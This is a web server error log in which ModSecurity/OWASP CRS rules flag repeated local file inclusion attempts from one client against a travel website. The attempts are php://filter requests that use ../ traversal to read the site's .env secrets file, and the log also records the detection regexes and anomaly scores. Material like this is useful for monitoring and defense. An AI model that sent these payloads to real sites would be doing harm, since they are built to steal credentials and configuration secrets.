[Fri Jul 17 08:55:12.410111 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=YElFNVS88p75IYR4hZhY3X76gTnxrijX0tzI_mBIU3Op-IboGUf4mnKEJ9bkY6VS22Ml1QhIgDdTMK4DTbNn4TAp7v-T8Cf5AIj7dh8Yxm5ypuP4Yt5T3GICGwU5-Dxdl4u7DVIkqhwcCGqpkxWIbFr4xAGMvSCyFkM9iQuq9qDJDdgJyULzaFLsZzTLwXbY3nF1qfC1rFfw6keUiQM1g0trj5Nnsk8J5cfaRiaXYaMJs4Y9WRZwkuVxaHZgYrkKNGc95iURJgUeY4LMTqx-YVZT&ref=NFSV4VPR5NIOXQ7EVC7WVYI23MSFHI22BE5QKEL26UHXDA7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410167 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410228 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&cb=YElFNVS88p75IYR4hZhY3X76gTnxrijX0tzI_mBIU3Op-IboGUf4mnKEJ9bkY6VS22Ml1QhIgDdTMK4DTbNn4TAp7v-T8Cf5AIj7dh8Yxm5ypuP4Yt5T3GICGwU5-Dxdl4u7DVIkqhwcCGqpkxWIbFr4xAGMvSCyFkM9iQuq9qDJDdgJyULzaFLsZzTLwXbY3nF1qfC1rFfw6keUiQM1g0trj5Nnsk8J5cfaRiaXYaMJs4Y9WRZwkuVxaHZgYrkKNGc95iURJgUeY4LMTqx-YVZT&ref=NFSV4VPR5NIOXQ7EVC7WVYI23MSFHI22BE5QKEL26UHXDA7YW33RQU2CPAOZUZK3QS5VIM6T2FM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410265 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&cb=yelfnvs88p75iyr4hzhy3x76gtnxrijx0tzi_mbiu3op-iboguf4mnkej9bky6vs22ml1qhigddtmk4dtbnn4tap7v-t8cf5aij7dh8yxm5ypup4yt5t3gicgwu5-dxdl4u7dvikqhwccgqpkxwibfr4xagmvscyfkm9iquq9qdjddgjyulzaflszztlwxby3nf1qfc1rffw6keuiqm1g0trj5nnsk8j5cfariaxyamjs4y9wrzwkuvxahzgyrkkngc95iurjguey4lmtqx-yvzt&ref=nfsv4vpr5nioxq7evc7wvyi23msfhi22be5qkel26uhxda7yw33rqu2cpaozuzk3qs5vim6t2fm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410300 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410340 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410710 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.410807 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=WYfU4Vnu37vAVBI2g5pqxVTqwh1NZ22MP93y792dKfazyIg8M-BxHRFRRZwb5rZGP1vHQfjL3_F_P-QR3eart2t1-Fowb_IOSG6KaseDqSKbTc5POfePL6dVX-Et4_YB2sycvbIHW5SBabrGUfgCYwxELA74AvLl-wZL-zG8XQvNFWT-eh2LCXB2evGqVm34QOJWEOh1CbUZcwSqGvqihwpMm2Rphc_H43jtNC18fKNbnhwWs5It1uZt-SRh31-1UqG5G0miyznduTplqxnZhjeD&debug=W6OOFCGOUKEVH6VU25DIYKUHDRVPNPX2FWW5KQ5GCYNKV4RZ3W35S42EL7E3E..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.410847 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.410903 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&sid=WYfU4Vnu37vAVBI2g5pqxVTqwh1NZ22MP93y792dKfazyIg8M-BxHRFRRZwb5rZGP1vHQfjL3_F_P-QR3eart2t1-Fowb_IOSG6KaseDqSKbTc5POfePL6dVX-Et4_YB2sycvbIHW5SBabrGUfgCYwxELA74AvLl-wZL-zG8XQvNFWT-eh2LCXB2evGqVm34QOJWEOh1CbUZcwSqGvqihwpMm2Rphc_H43jtNC18fKNbnhwWs5It1uZt-SRh31-1UqG5G0miyznduTplqxnZhjeD&debug=W6OOFCGOUKEVH6VU25DIYKUHDRVPNPX2FWW5KQ5GCYNKV4RZ3W35S42EL7E3EF33SSY6MPRMMTAKCUDYAZVM6UYRG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.410948 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&sid=wyfu4vnu37vavbi2g5pqxvtqwh1nz22mp93y792dkfazyig8m-bxhrfrrzwb5rzgp1vhqfjl3_f_p-qr3eart2t1-fowb_iosg6kasedqskbtc5pofepl6dvx-et4_yb2sycvbihw5sbabrgufgcywxela74avll-wzl-zg8xqvnfwt-eh2lcxb2evgqvm34qojweoh1cbuzcwsqgvqihwpmm2rphc_h43jtnc18fknbnhwws5it1uzt-srh31-1uqg5g0miyzndutplqxnzhjed&debug=w6oofcgoukevh6vu25diykuhdrvpnpx2fww5kq5gcynkv4rz3w35s42el7e3ef33ssy6mprmmtakcudyazvm6uyrg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.410975 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.410999 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.411243 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=0wMZCiKhYBBgw4UPOsy8c6tGTzG_aR35AQ6TA8ANmBeFX_EgB6jDAT__c_GVonzlvqkV3W-Ymx82er3ImgzystMlrAL7f-L8vH2H6pY2pDRg5jFCuT_y0hnUmJ50yO4P4VkW-g_DAno0vu9OwYWtQGWqUrFfVelf33CVy87q0p2i7LvjnlqERJ9O_6JlBJJ8-EBzw8397WiG9it38rqwNm1C2V5AuSjFFO7m_qHMEWQMLY6k7ojcEU0-ODAXplnCsWE6K07hveHECTeKSCzbhVD_&ts=NLCOVODVX3SWB4NHBZJ2OZU642T3DPFMUZ3VBES7GRSZ6H5HCLMCHNJ4URPQM7KLCSTX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411279 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411325 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=0wMZCiKhYBBgw4UPOsy8c6tGTzG_aR35AQ6TA8ANmBeFX_EgB6jDAT__c_GVonzlvqkV3W-Ymx82er3ImgzystMlrAL7f-L8vH2H6pY2pDRg5jFCuT_y0hnUmJ50yO4P4VkW-g_DAno0vu9OwYWtQGWqUrFfVelf33CVy87q0p2i7LvjnlqERJ9O_6JlBJJ8-EBzw8397WiG9it38rqwNm1C2V5AuSjFFO7m_qHMEWQMLY6k7ojcEU0-ODAXplnCsWE6K07hveHECTeKSCzbhVD_&ts=NLCOVODVX3SWB4NHBZJ2OZU642T3DPFMUZ3VBES7GRSZ6H5HCLMCHNJ4URPQM7KLCSTXID5A7DW2SL3WYUJ5YVTWNILHED..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411350 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=0wmzcikhybbgw4uposy8c6tgtzg_ar35aq6ta8anmbefx_egb6jdat__c_gvonzlvqkv3w-ymx82er3imgzystmlral7f-l8vh2h6py2pdrg5jfcut_y0hnumj50yo4p4vkw-g_dano0vu9owywtqgwqurffvelf33cvy87q0p2i7lvjnlqerj9o_6jlbjj8-ebzw8397wig9it38rqwnm1c2v5ausjffo7m_qhmewqmly6k7ojceu0-odaxplncswe6k07hvehecteksczbhvd_&ts=nlcovodvx3swb4nhbzj2ozu642t3dpfmuz3vbes7grsz6h5hclmchnj4urpqm7klcstxid5a7dw2sl3wyuj5yvtwnilhed..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411359 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.411379 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411398 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411717 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.411722 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.411833 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.412125 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmLEWOaI5pmYo9fnOyAAAAAA"]
[Fri Jul 17 08:55:12.412349 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
